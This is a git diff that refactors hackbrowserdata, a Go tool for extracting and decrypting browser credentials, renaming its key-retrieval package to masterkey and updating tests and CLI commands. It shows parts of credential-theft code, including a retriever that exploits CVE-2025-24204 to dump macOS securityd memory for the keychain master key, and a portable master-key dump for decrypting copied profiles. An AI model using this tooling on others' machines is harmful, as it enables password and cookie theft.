km.SetKeyRetrievers(keyretriever.Retrievers{ - V10: maybeStaticProvider(v.Keys.V10), - V11: maybeStaticProvider(v.Keys.V11), - V20: maybeStaticProvider(v.Keys.V20), + km.SetRetrievers(masterkey.Retrievers{ + V10: maybeStaticRetriever(v.Keys.V10), + V11: maybeStaticRetriever(v.Keys.V11), + V20: maybeStaticRetriever(v.Keys.V20), }) } } -// maybeStaticProvider wraps non-empty key bytes as a StaticProvider; an empty/nil key returns nil +// maybeStaticRetriever wraps non-empty key bytes as a StaticRetriever; an empty/nil key returns nil // to preserve the "tier not applicable" signal NewMasterKeys expects. -func maybeStaticProvider(key []byte) keyretriever.KeyRetriever { +func maybeStaticRetriever(key []byte) masterkey.Retriever { if len(key) == 0 { return nil } - return keyretriever.NewStaticProvider(key) + return masterkey.NewStaticRetriever(key) } diff --git a/browser/keydump_test.go b/browser/keydump_test.go index 2bdafd7..14d4971 100644 --- a/browser/keydump_test.go +++ b/browser/keydump_test.go @@ -6,7 +6,7 @@ import ( "runtime" "testing" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" + "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -44,25 +44,25 @@ func (m *mockBrowser) CountEntries(_ []types.Category) ([]types.CountResult, err type mockChromiumBrowser struct { mockBrowser - keys keyretriever.MasterKeys + keys masterkey.MasterKeys exportErr error calls int - receivedRetrievers keyretriever.Retrievers + receivedRetrievers masterkey.Retrievers } -func (m *mockChromiumBrowser) SetKeyRetrievers(r keyretriever.Retrievers) { +func (m *mockChromiumBrowser) SetRetrievers(r masterkey.Retrievers) { m.receivedRetrievers = r } -func (m *mockChromiumBrowser) ExportKeys() (keyretriever.MasterKeys, error) { +func (m *mockChromiumBrowser) ExportKeys() (masterkey.MasterKeys, error) { m.calls++ return m.keys, m.exportErr } func TestBuildDump_Empty(t *testing.T) { dump := BuildDump(nil) - if dump.Version != keyretriever.DumpVersion { - t.Errorf("Version = %q, want %q", dump.Version, keyretriever.DumpVersion) + if dump.Version != masterkey.DumpVersion { + t.Errorf("Version = %q, want %q", dump.Version, masterkey.DumpVersion) } if dump.Host.OS != runtime.GOOS { t.Errorf("Host.OS = %q, want %q", dump.Host.OS, runtime.GOOS) @@ -75,7 +75,7 @@ func TestBuildDump_Empty(t *testing.T) { func TestBuildDump_SingleChromium(t *testing.T) { b := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}}, - keys: keyretriever.MasterKeys{V10: []byte("v10-key")}, + keys: masterkey.MasterKeys{V10: []byte("v10-key")}, } dump := BuildDump([]Browser{b}) @@ -101,7 +101,7 @@ func TestBuildDump_SingleChromium(t *testing.T) { func TestBuildDump_MultipleProfilesOneVault(t *testing.T) { b := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault, testProfile1}}, - keys: keyretriever.MasterKeys{V10: []byte("v10")}, + keys: masterkey.MasterKeys{V10: []byte("v10")}, } dump := BuildDump([]Browser{b}) @@ -120,7 +120,7 @@ func TestBuildDump_MultipleProfilesOneVault(t *testing.T) { func TestBuildDump_SkipsNonKeyManager(t *testing.T) { chrome := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: "/chrome", profiles: []string{testProfileDefault}}, - keys: keyretriever.MasterKeys{V10: []byte("v10")}, + keys: masterkey.MasterKeys{V10: []byte("v10")}, } firefox := &mockBrowser{name: firefoxName, userDataDir: "/ff", profiles: []string{"default-release"}} @@ -137,7 +137,7 @@ func TestBuildDump_SkipsNonKeyManager(t *testing.T) { func TestBuildDump_SkipsExportError(t *testing.T) { good := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: "/chrome", profiles: []string{testProfileDefault}}, - keys: keyretriever.MasterKeys{V10: []byte("v10")}, + keys: masterkey.MasterKeys{V10: []byte("v10")}, } failing := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: testEdgeName, userDataDir: "/edge", profiles: []string{testProfileDefault}}, @@ -157,7 +157,7 @@ func TestBuildDump_SkipsExportError(t *testing.T) { func TestBuildDump_JSONRoundTrip(t *testing.T) { b := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}}, - keys: keyretriever.MasterKeys{V10: []byte{0x01, 0x02, 0x03}, V20: []byte{0xff, 0xee}}, + keys: masterkey.MasterKeys{V10: []byte{0x01, 0x02, 0x03}, V20: []byte{0xff, 0xee}}, } dump := BuildDump([]Browser{b}) @@ -167,7 +167,7 @@ func TestBuildDump_JSONRoundTrip(t *testing.T) { t.Fatalf("WriteJSON: %v", err) } - parsed, err := keyretriever.ReadJSON(&buf) + parsed, err := masterkey.ReadJSON(&buf) if err != nil { t.Fatalf("ReadJSON: %v", err) } @@ -192,7 +192,7 @@ func TestBuildDump_JSONRoundTrip(t *testing.T) { func TestBuildDump_PartialKeys(t *testing.T) { b := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}}, - keys: keyretriever.MasterKeys{V10: []byte("v10")}, + keys: masterkey.MasterKeys{V10: []byte("v10")}, exportErr: errors.New("v20: ABE failed"), } @@ -213,9 +213,9 @@ func TestApplyDump_Match(t *testing.T) { b := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}}, } - dump := keyretriever.Dump{ - Vaults: []keyretriever.Vault{ - {Browser: chromeName, UserDataDir: testUDD, Keys: keyretriever.MasterKeys{V10: []byte("v10-from-dump")}}, + dump := masterkey.Dump{ + Vaults: []masterkey.Vault{ + {Browser: chromeName, UserDataDir: testUDD, Keys: masterkey.MasterKeys{V10: []byte("v10-from-dump")}}, }, } ApplyDump([]Browser{b}, dump) @@ -223,7 +223,7 @@ func TestApplyDump_Match(t *testing.T) { if b.receivedRetrievers.V10 == nil { t.Fatal("V10 retriever should be set from matching vault") } - got, err := b.receivedRetrievers.V10.RetrieveKey(keyretriever.Hints{}) + got, err := b.receivedRetrievers.V10.RetrieveKey(masterkey.Hints{}) if err != nil || string(got) != "v10-from-dump" { t.Errorf("V10.RetrieveKey() = %q, err = %v, want %q", got, err, "v10-from-dump") } @@ -236,9 +236,9 @@ func TestApplyDump_MissingVault(t *testing.T) { b := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}}, } - dump := keyretriever.Dump{ - Vaults: []keyretriever.Vault{ - {Browser: testEdgeName, UserDataDir: "/edge", Keys: keyretriever.MasterKeys{V10: []byte("v10")}}, + dump := masterkey.Dump{ + Vaults: []masterkey.Vault{ + {Browser: testEdgeName, UserDataDir: "/edge", Keys: masterkey.MasterKeys{V10: []byte("v10")}}, }, } ApplyDump([]Browser{b}, dump) @@ -250,9 +250,9 @@ func TestApplyDump_MissingVault(t *testing.T) { func TestApplyDump_NonKeyManagerSkipped(t *testing.T) { firefox := &mockBrowser{name: firefoxName, userDataDir: "/ff", profiles: []string{"default-release"}} - dump := keyretriever.Dump{ - Vaults: []keyretriever.Vault{ - {Browser: firefoxName, UserDataDir: "/ff", Keys: keyretriever.MasterKeys{V10: []byte("v10")}}, + dump := masterkey.Dump{ + Vaults: []masterkey.Vault{ + {Browser: firefoxName, UserDataDir: "/ff", Keys: masterkey.MasterKeys{V10: []byte("v10")}}, }, } // firefox does not implement KeyManager; ApplyDump must not panic and must not attempt injection. @@ -262,7 +262,7 @@ func TestApplyDump_NonKeyManagerSkipped(t *testing.T) { func TestApplyDump_RoundTrip(t *testing.T) { src := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}}, - keys: keyretriever.MasterKeys{V10: []byte("v10-rt"), V20: []byte("v20-rt")}, + keys: masterkey.MasterKeys{V10: []byte("v10-rt"), V20: []byte("v20-rt")}, } dump := BuildDump([]Browser{src}) @@ -271,11 +271,11 @@ func TestApplyDump_RoundTrip(t *testing.T) { } ApplyDump([]Browser{dst}, dump) - v10, _ := dst.receivedRetrievers.V10.RetrieveKey(keyretriever.Hints{}) + v10, _ := dst.receivedRetrievers.V10.RetrieveKey(masterkey.Hints{}) if string(v10) != "v10-rt" { t.Errorf("V10 round-trip: got %q, want v10-rt", v10) } - v20, _ := dst.receivedRetrievers.V20.RetrieveKey(keyretriever.Hints{}) + v20, _ := dst.receivedRetrievers.V20.RetrieveKey(masterkey.Hints{}) if string(v20) != "v20-rt" { t.Errorf("V20 round-trip: got %q, want v20-rt", v20) } @@ -291,12 +291,12 @@ func TestApplyDump_FallbackOnPathMismatch(t *testing.T) { b := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: "/local/chrome", profiles: []string{testProfileDefault}}, } - dump := keyretriever.Dump{ - Vaults: []keyretriever.Vault{ + dump := masterkey.Dump{ + Vaults: []masterkey.Vault{ { Browser: chromeName, UserDataDir: `C:\Users\foo\AppData\Local\Google\Chrome\User Data`, - Keys: keyretriever.MasterKeys{V10: []byte("v10-fallback")}, + Keys: masterkey.MasterKeys{V10: []byte("v10-fallback")}, }, }, } @@ -305,7 +305,7 @@ func TestApplyDump_FallbackOnPathMismatch(t *testing.T) { if b.receivedRetrievers.V10 == nil { t.Fatal("V10 retriever should be set via single-vault fallback") } - got, err := b.receivedRetrievers.V10.RetrieveKey(keyretriever.Hints{}) + got, err := b.receivedRetrievers.V10.RetrieveKey(masterkey.Hints{}) if err != nil || string(got) != "v10-fallback" { t.Errorf("V10.RetrieveKey() = %q, err = %v, want %q", got, err, "v10-fallback") } @@ -317,10 +317,10 @@ func TestApplyDump_NoFallbackWhenAmbiguous(t *testing.T) { b := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: "/local/chrome", profiles: []string{testProfileDefault}}, } - dump := keyretriever.Dump{ - Vaults: []keyretriever.Vault{ - {Browser: chromeName, UserDataDir: "/path/a", Keys: keyretriever.MasterKeys{V10: []byte("a")}}, - {Browser: chromeName, UserDataDir: "/path/b", Keys: keyretriever.MasterKeys{V10: []byte("b")}}, + dump := masterkey.Dump{ + Vaults: []masterkey.Vault{ + {Browser: chromeName, UserDataDir: "/path/a", Keys: masterkey.MasterKeys{V10: []byte("a")}}, + {Browser: chromeName, UserDataDir: "/path/b", Keys: masterkey.MasterKeys{V10: []byte("b")}}, }, } ApplyDump([]Browser{b}, dump) diff --git a/browser/safari/extract_password.go b/browser/safari/extract_password.go index 910ac4e..aa791c2 100644 --- a/browser/safari/extract_password.go +++ b/browser/safari/extract_password.go @@ -45,16 +45,9 @@ func countPasswords(keychainPassword string) (int, error) { return len(passwords), nil } -// getInternetPasswords reads InternetPassword records directly from the -// macOS login keychain. See rfcs/006-key-retrieval-mechanisms.md §7 for why -// Safari owns this path instead of routing through crypto/keyretriever. -// -// TryUnlock is always invoked — with the user-supplied password when one is -// available, otherwise with no options — to enable keychainbreaker's partial -// extraction mode. With a valid password we get fully decrypted entries; with -// empty or wrong password we still get metadata records (URL, account, -// timestamps) and PlainPassword left blank, which Safari can export as -// metadata-only output instead of failing with ErrLocked. +// getInternetPasswords reads InternetPassword records straight from the macOS login keychain (Safari owns its own key +// path, separate from the masterkey package). TryUnlock always runs — even without a password — so a locked keychain +// still yields metadata-only records (URL, account, blank password) instead of failing with ErrLocked. func getInternetPasswords(keychainPassword string) ([]keychainbreaker.InternetPassword, error) { kc, err := keychainbreaker.Open() if err != nil { @@ -82,8 +75,7 @@ func buildURL(protocol, server string, port uint32, path string) string { return "" } - // Convert macOS Keychain FourCC protocol code to URL scheme. - // Only "htps" needs special mapping; others just need space trimming. + // macOS Keychain stores the protocol as a FourCC code; only "htps" needs remapping, others just trim padding. scheme := strings.TrimRight(protocol, " ") if scheme == "" || scheme == "htps" { scheme = "https" diff --git a/cmd/hack-browser-data/dump.go b/cmd/hack-browser-data/dump.go index daf24ad..ee30220 100644 --- a/cmd/hack-browser-data/dump.go +++ b/cmd/hack-browser-data/dump.go @@ -31,7 +31,7 @@ func dumpCmd() *cobra.Command { hack-browser-data dump -f cookie-editor hack-browser-data dump --zip`, RunE: func(cmd *cobra.Command, args []string) error { - browsers, err := browser.DiscoverBrowsersWithKeys(browser.PickOptions{ + browsers, err := browser.DiscoverBrowsersWithKeys(browser.DiscoverOptions{ Name: browserName, ProfilePath: profilePath, KeychainPassword: keychainPw, diff --git a/cmd/hack-browser-data/keys.go b/cmd/hack-browser-data/keys.go index 601c8c9..8e346e2 100644 --- a/cmd/hack-browser-data/keys.go +++ b/cmd/hack-browser-data/keys.go @@ -9,8 +9,8 @@ import ( "github.com/spf13/cobra" "github.com/moond4rk/hackbrowserdata/browser" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/log" + "github.com/moond4rk/hackbrowserdata/masterkey" ) func keysCmd() *cobra.Command { @@ -35,7 +35,7 @@ func keysExportCmd() *cobra.Command { Example: ` hack-browser-data keys export -o dump.json hack-browser-data keys export -b chrome`, RunE: func(cmd *cobra.Command, args []string) error { - browsers, err := browser.DiscoverBrowsersWithKeys(browser.PickOptions{ + browsers, err := browser.DiscoverBrowsersWithKeys(browser.DiscoverOptions{ Name: browserName, KeychainPassword: keychainPw, }) @@ -135,12 +135,12 @@ func loadAndApplyKeys(browserName, profilePath, keysPath string) ([]browser.Brow defer f.Close() r = f } - dump, err := keyretriever.ReadJSON(r) + dump, err := masterkey.ReadJSON(r) if err != nil { return nil, fmt.Errorf("read keys file %q: %w", keysPath, err) } - browsers, err := browser.DiscoverBrowsers(browser.PickOptions{ + browsers, err := browser.DiscoverBrowsers(browser.DiscoverOptions{ Name: browserName, ProfilePath: profilePath, }) diff --git a/cmd/hack-browser-data/list.go b/cmd/hack-browser-data/list.go index 5a20070..c4b6f53 100644 --- a/cmd/hack-browser-data/list.go +++ b/cmd/hack-browser-data/list.go @@ -20,7 +20,7 @@ func listCmd() *cobra.Command { Example: ` hack-browser-data list hack-browser-data list --detail`, RunE: func(cmd *cobra.Command, args []string) error { - browsers, err := browser.DiscoverBrowsers(browser.PickOptions{Name: "all"}) + browsers, err := browser.DiscoverBrowsers(browser.DiscoverOptions{Name: "all"}) if err != nil { return err } diff --git a/crypto/keyretriever/keyretriever.go b/crypto/keyretriever/keyretriever.go deleted file mode 100644 index 2929331..0000000 --- a/crypto/keyretriever/keyretriever.go +++ /dev/null @@ -1,59 +0,0 @@ -// Package keyretriever owns the master-key acquisition chain shared by all Chromium variants (Chrome, -// Edge, Brave, Arc, Opera, Vivaldi, Yandex, …). The chain is built once per process and reused for -// every profile. -// -// Firefox and Safari do not route through this package — Firefox derives its own keys from key4.db via -// NSS PBE, and Safari reads InternetPassword records directly from login.keychain-db. Each browser -// package owns its own credential-acquisition strategy; see rfcs/006-key-retrieval-mechanisms.md §7 for -// the rationale. -package keyretriever - -import ( - "errors" - "fmt" - - "github.com/moond4rk/hackbrowserdata/log" -) - -// errStorageNotFound is returned when the requested browser storage account is not found in the -// credential store (keychain, keyring, etc.). Only used on darwin and linux; Windows uses DPAPI which -// has no storage lookup. -var errStorageNotFound = errors.New("not found in credential store") //nolint:unused // only used on darwin and linux - -// Hints bundles inputs for KeyRetriever; each retriever reads only the field that applies to it. -type Hints struct { - KeychainLabel string // macOS Keychain account / Linux D-Bus Secret Service label - WindowsABEKey string // Windows ABE browser key (e.g. "chrome"); "" → ABE not applicable - LocalStatePath string // path to (temp-copied) Local State JSON; only used on Windows -} - -// KeyRetriever retrieves the master encryption key for a Chromium-based browser. -type KeyRetriever interface { - RetrieveKey(hints Hints) ([]byte, error) -} - -// ChainRetriever tries multiple retrievers in order, returning the first success. Used on macOS -// (gcoredump → password → security) and Linux (D-Bus → peanuts). -type ChainRetriever struct { - retrievers []KeyRetriever -} - -// NewChain creates a ChainRetriever that tries each retriever in order. -func NewChain(retrievers ...KeyRetriever) KeyRetriever { - return &ChainRetriever{retrievers: retrievers} -} - -func (c *ChainRetriever) RetrieveKey(hints Hints) ([]byte, error) { - var errs []error - for _, r := range c.retrievers { - key, err := r.RetrieveKey(hints) - if err == nil && len(key) > 0 { - return key, nil - } - if err != nil { - log.Debugf("keyretriever %T failed: %v", r, err) - errs = append(errs, fmt.Errorf("%T: %w", r, err)) - } - } - return nil, fmt.Errorf("all retrievers failed: %w", errors.Join(errs...)) -} diff --git a/crypto/keyretriever/masterkeys.go b/crypto/keyretriever/masterkeys.go deleted file mode 100644 index 534fd23..0000000 --- a/crypto/keyretriever/masterkeys.go +++ /dev/null @@ -1,57 +0,0 @@ -package keyretriever - -import ( - "errors" - "fmt" -) - -// MasterKeys holds per-cipher-version Chromium master keys. A profile may carry mixed prefixes -// (Chrome 127+ on Windows mixes v10+v20; Linux can mix v10+v11), so each tier must be populated -// independently for lossless decryption. A nil tier means that cipher version cannot be decrypted. -type MasterKeys struct { - V10 []byte `json:"v10,omitempty"` - V11 []byte `json:"v11,omitempty"` - V20 []byte `json:"v20,omitempty"` -} - -// HasAny reports whether at least one tier carries a usable key. Centralizes the "is this MasterKeys -// worth keeping" check so new tiers (V21, V12, …) only need to be added here, not at every caller. -func (k MasterKeys) HasAny() bool { - return k.V10 != nil || k.V11 != nil || k.V20 != nil -} - -// Retrievers is the per-tier retriever configuration; unused slots are nil. -type Retrievers struct { - V10 KeyRetriever - V11 KeyRetriever - V20 KeyRetriever -} - -// NewMasterKeys fetches each non-nil tier in r and returns the assembled MasterKeys with per-tier -// errors joined. A retriever returning (nil, nil) signals "not applicable" and contributes no key -// silently. This function never logs; the caller decides severity. -func NewMasterKeys(r Retrievers, hints Hints) (MasterKeys, error) { - var keys MasterKeys - var errs []error - - for _, t := range []struct { - name string - r KeyRetriever - dst *[]byte - }{ - {"v10", r.V10, &keys.V10}, - {"v11", r.V11, &keys.V11}, - {"v20", r.V20, &keys.V20}, - } { - if t.r == nil { - continue - } - k, err := t.r.RetrieveKey(hints) - if err != nil { - errs = append(errs, fmt.Errorf("%s: %w", t.name, err)) - continue - } - *t.dst = k - } - return keys, errors.Join(errs...) -} diff --git a/crypto/keyretriever/static.go b/crypto/keyretriever/static.go deleted file mode 100644 index 4d1876f..0000000 --- a/crypto/keyretriever/static.go +++ /dev/null @@ -1,23 +0,0 @@ -package keyretriever - -// StaticProvider returns pre-supplied master-key bytes; used by cross-host workflows where keys come -// from a Dump rather than platform-native retrieval. RetrieveKey ignores Hints and returns the stored -// bytes verbatim; an empty StaticProvider returns (nil, nil), the "not applicable" signal accepted -// by NewMasterKeys when a tier was not present in the source Dump. -type StaticProvider struct { - key []byte -} - -// NewStaticProvider wraps key bytes as a KeyRetriever. A nil/empty key produces a provider that -// reports the tier as unavailable (nil, nil) rather than returning a zero-length key. -func NewStaticProvider(key []byte) *StaticProvider { - return &StaticProvider{key: key} -} - -// RetrieveKey returns the stored key bytes, ignoring Hints. -func (p *StaticProvider) RetrieveKey(_ Hints) ([]byte, error) { - if len(p.key) == 0 { - return nil, nil - } - return p.key, nil -} diff --git a/crypto/keyretriever/abe_windows.go b/masterkey/abe_windows.go similarity index 99% rename from crypto/keyretriever/abe_windows.go rename to masterkey/abe_windows.go index 2573e50..e095267 100644 --- a/crypto/keyretriever/abe_windows.go +++ b/masterkey/abe_windows.go @@ -1,6 +1,6 @@ //go:build windows -package keyretriever +package masterkey import ( "encoding/base64" diff --git a/crypto/keyretriever/dump.go b/masterkey/dump.go similarity index 71% rename from crypto/keyretriever/dump.go rename to masterkey/dump.go index 0224be2..13fa924 100644 --- a/crypto/keyretriever/dump.go +++ b/masterkey/dump.go @@ -1,4 +1,4 @@ -package keyretriever +package masterkey import ( "encoding/json" @@ -12,8 +12,8 @@ import ( const DumpVersion = "1" -// Dump is the cross-host portable container for Chromium master keys. Producing it on one host lets another host skip -// platform-native retrieval (DPAPI, ABE injection, Keychain prompt, D-Bus query) when decrypting copied profile data. +// Dump is the portable, cross-host container for Chromium master keys — produce it on one host to +// decrypt copied profile data on another without DPAPI / ABE / Keychain / D-Bus. type Dump struct { Version string `json:"version"` CreatedAt time.Time `json:"created_at"` @@ -37,7 +37,6 @@ type Vault struct { Keys MasterKeys `json:"keys"` } -// NewDump returns a Dump initialized with current host metadata and an empty Vaults slice func NewDump() Dump { return Dump{ Version: DumpVersion, @@ -47,7 +46,6 @@ func NewDump() Dump { } } -// currentHost collects host identification; Hostname/User are best-effort (syscall failure leaves them empty + omitempty). func currentHost() Host { h := Host{OS: runtime.GOOS, Arch: runtime.GOARCH} if name, err := os.Hostname(); err == nil { @@ -59,7 +57,6 @@ func currentHost() Host { return h } -// WriteJSON writes the Dump as indented JSON to w. func (d Dump) WriteJSON(w io.Writer) error { enc := json.NewEncoder(w) enc.SetIndent("", " ") @@ -69,8 +66,8 @@ func (d Dump) WriteJSON(w io.Writer) error { return nil } -// ReadJSON parses a Dump from r and rejects schema versions this build cannot interpret — -// silent misparse of a future v2 schema is worse than a clear error. +// ReadJSON parses a Dump and rejects versions this build can't interpret — a silent misparse of a +// future v2 schema is worse than a clear error. func ReadJSON(r io.Reader) (Dump, error) { var d Dump dec := json.NewDecoder(r) diff --git a/crypto/keyretriever/dump_test.go b/masterkey/dump_test.go similarity index 98% rename from crypto/keyretriever/dump_test.go rename to masterkey/dump_test.go index 9df693c..c442184 100644 --- a/crypto/keyretriever/dump_test.go +++ b/masterkey/dump_test.go @@ -1,4 +1,4 @@ -package keyretriever +package masterkey import ( "bytes" diff --git a/crypto/keyretriever/gcoredump_darwin.go b/masterkey/gcoredump_darwin.go similarity index 88% rename from crypto/keyretriever/gcoredump_darwin.go rename to masterkey/gcoredump_darwin.go index 0d31b56..ef7e2f3 100644 --- a/crypto/keyretriever/gcoredump_darwin.go +++ b/masterkey/gcoredump_darwin.go @@ -1,16 +1,10 @@ //go:build darwin -package keyretriever +package masterkey -// CVE-2025-24204: macOS securityd TCC bypass via gcore. -// The gcore binary holds the com.apple.system-task-ports.read entitlement, -// allowing any root process to dump securityd memory without a TCC prompt. -// We scan the dump for the 24-byte keychain master key, then use it to -// extract browser storage passwords from login.keychain-db. -// -// References: -// - https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain -// - https://support.apple.com/en-us/122373 +// CVE-2025-24204: gcore holds the com.apple.system-task-ports.read entitlement, so a root process can +// dump securityd memory without a TCC prompt; we scan the dump for the 24-byte keychain master key. +// PoC: https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain import ( "debug/macho" @@ -66,9 +60,8 @@ type addressRange struct { end uint64 } -// DecryptKeychainRecords extracts all generic password records from login.keychain-db -// by dumping securityd memory and scanning for the keychain master key. -// Requires root privileges. +// DecryptKeychainRecords dumps securityd memory, scans for the keychain master key, and uses it to +// read login.keychain-db's generic password records. Requires root. func DecryptKeychainRecords() ([]keychainbreaker.GenericPassword, error) { if os.Geteuid() != 0 { return nil, errors.New("requires root privileges") @@ -216,8 +209,7 @@ func findMallocSmallRegions(pid int) ([]addressRange, error) { return regions, nil } -// getMallocSmallRegionData finds the Mach-O segment matching the given -// address range and returns its raw data and virtual address. +// getMallocSmallRegionData returns the Mach-O segment data + vaddr for the given address range. func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) { for _, seg := range f.Loads { if s, ok := seg.(*macho.Segment); ok { diff --git a/masterkey/masterkeys.go b/masterkey/masterkeys.go new file mode 100644 index 0000000..4fc4e30 --- /dev/null +++ b/masterkey/masterkeys.go @@ -0,0 +1,53 @@ +package masterkey + +import ( + "errors" + "fmt" +) + +// MasterKeys holds one key per cipher tier; a profile can mix tiers (Win v10+v20, Linux v10+v11), +// so each is populated independently. A nil tier = that cipher version can't be decrypted. +type MasterKeys struct { + V10 []byte `json:"v10,omitempty"` + V11 []byte `json:"v11,omitempty"` + V20 []byte `json:"v20,omitempty"` +} + +func (k MasterKeys) HasAny() bool { + return k.V10 != nil || k.V11 != nil || k.V20 != nil +} + +// Retrievers is the per-tier retriever configuration; unused slots are nil. +type Retrievers struct { + V10 Retriever + V11 Retriever + V20 Retriever +} + +// NewMasterKeys fetches each non-nil tier and joins per-tier errors. A retriever returning (nil, nil) +// means "tier not applicable" and contributes no key. Never logs — the caller decides severity. +func NewMasterKeys(r Retrievers, hints Hints) (MasterKeys, error) { + var keys MasterKeys + var errs []error + + for _, t := range []struct { + name string + r Retriever + dst *[]byte + }{ + {"v10", r.V10, &keys.V10}, + {"v11", r.V11, &keys.V11}, + {"v20", r.V20, &keys.V20}, + } { + if t.r == nil { + continue + } + k, err := t.r.RetrieveKey(hints) + if err != nil { + errs = append(errs, fmt.Errorf("%s: %w", t.name, err)) + continue + } + *t.dst = k + } + return keys, errors.Join(errs...) +} diff --git a/crypto/keyretriever/masterkeys_test.go b/masterkey/masterkeys_test.go similarity index 99% rename from crypto/keyretriever/masterkeys_test.go rename to masterkey/masterkeys_test.go index bf90403..069aac6 100644 --- a/crypto/keyretriever/masterkeys_test.go +++ b/masterkey/masterkeys_test.go @@ -1,4 +1,4 @@ -package keyretriever +package masterkey import ( "bytes" diff --git a/crypto/keyretriever/params.go b/masterkey/params.go similarity index 61% rename from crypto/keyretriever/params.go rename to masterkey/params.go index b90f1cc..c1077d3 100644 --- a/crypto/keyretriever/params.go +++ b/masterkey/params.go @@ -1,6 +1,6 @@ //go:build darwin || linux -package keyretriever +package masterkey import ( "hash" @@ -8,8 +8,7 @@ import ( "github.com/moond4rk/hackbrowserdata/crypto" ) -// pbkdf2Params holds platform-specific PBKDF2 key derivation parameters. -// Each platform file defines its own params variable. +// pbkdf2Params holds platform-specific PBKDF2 parameters (each platform file defines its own). type pbkdf2Params struct { salt []byte iterations int @@ -17,7 +16,6 @@ type pbkdf2Params struct { hashFunc func() hash.Hash } -// deriveKey derives an encryption key from a secret using PBKDF2. func (p pbkdf2Params) deriveKey(secret []byte) []byte { return crypto.PBKDF2Key(secret, p.salt, p.iterations, p.keySize, p.hashFunc) } diff --git a/masterkey/retriever.go b/masterkey/retriever.go new file mode 100644 index 0000000..6ed14da --- /dev/null +++ b/masterkey/retriever.go @@ -0,0 +1,49 @@ +// Package masterkey retrieves Chromium master keys (per-platform retrievers + a cross-host Dump format). +// Firefox and Safari own their own key paths and don't route through here. +package masterkey + +import ( + "errors" + "fmt" + + "github.com/moond4rk/hackbrowserdata/log" +) + +// errStorageNotFound: the browser's account is absent from the credential store (keychain/keyring). +var errStorageNotFound = errors.New("not found in credential store") //nolint:unused // only used on darwin and linux + +// Hints bundles inputs for Retriever; each retriever reads only the field that applies to it. +type Hints struct { + KeychainLabel string // macOS Keychain account / Linux D-Bus Secret Service label + WindowsABEKey string // Windows ABE browser key (e.g. "chrome"); "" → ABE not applicable + LocalStatePath string // path to (temp-copied) Local State JSON; only used on Windows +} + +// Retriever obtains a Chromium master key from one platform source (DPAPI, Keychain, D-Bus, …). +type Retriever interface { + RetrieveKey(hints Hints) ([]byte, error) +} + +// ChainRetriever tries retrievers in order, first success wins (macOS V10: gcoredump→password→security). +type ChainRetriever struct { + retrievers []Retriever +} + +func NewChain(retrievers ...Retriever) Retriever { + return &ChainRetriever{retrievers: retrievers} +} + +func (c *ChainRetriever) RetrieveKey(hints Hints) ([]byte, error) { + var errs []error + for _, r := range c.retrievers { + key, err := r.RetrieveKey(hints) + if err == nil && len(key) > 0 { + return key, nil + } + if err != nil { + log.Debugf("retriever %T failed: %v", r, err) + errs = append(errs, fmt.Errorf("%T: %w", r, err)) + } + } + return nil, fmt.Errorf("all retrievers failed: %w", errors.Join(errs...)) +} diff --git a/crypto/keyretriever/keyretriever_darwin.go b/masterkey/retriever_darwin.go similarity index 66% rename from crypto/keyretriever/keyretriever_darwin.go rename to masterkey/retriever_darwin.go index 51eafa0..8f7711f 100644 --- a/crypto/keyretriever/keyretriever_darwin.go +++ b/masterkey/retriever_darwin.go @@ -1,6 +1,6 @@ //go:build darwin -package keyretriever +package masterkey import ( "bytes" @@ -26,23 +26,18 @@ var darwinParams = pbkdf2Params{ hashFunc: sha1.New, } -// securityCmdTimeout is the maximum time to wait for the security command. const securityCmdTimeout = 30 * time.Second -// GcoredumpRetriever uses CVE-2025-24204 to extract keychain secrets -// by dumping the securityd process memory. Requires root privileges. -// All keychain records are cached via sync.Once so the memory dump -// happens only once, even when shared across multiple browsers. +// GcoredumpRetriever extracts keychain secrets via CVE-2025-24204 (dumps securityd memory; needs root). +// Records are cached once (sync.Once) so the dump runs a single time across all browsers. type GcoredumpRetriever struct { once sync.Once records []keychainbreaker.GenericPassword err error } -// RetrieveKey logs internal failures at Debug and returns (nil, nil) so ChainRetriever falls -// through to the next retriever silently. The most common failure ("requires root privileges") -// is documented expected behavior, not a warning-worthy condition; surfacing it on every profile -// would drown out genuine warnings. The same pattern is used by ABERetriever (see abe_windows.go). +// RetrieveKey returns (nil, nil) on failure so ChainRetriever falls through silently — the common +// "needs root" case isn't warning-worthy and would drown real warnings (same as ABERetriever). func (r *GcoredumpRetriever) RetrieveKey(hints Hints) ([]byte, error) { r.once.Do(func() { r.records, r.err = DecryptKeychainRecords() @@ -60,8 +55,6 @@ func (r *GcoredumpRetriever) RetrieveKey(hints Hints) ([]byte, error) { return key, nil } -// loadKeychainRecords opens login.keychain-db and unlocks it with the given -// password, returning all generic password records. func loadKeychainRecords(password string) ([]keychainbreaker.GenericPassword, error) { kc, err := keychainbreaker.Open() if err != nil { @@ -73,8 +66,6 @@ func loadKeychainRecords(password string) ([]keychainbreaker.GenericPassword, er return kc.GenericPasswords() } -// findStorageKey searches keychain records for the given storage account -// and derives the encryption key. func findStorageKey(records []keychainbreaker.GenericPassword, storage string) 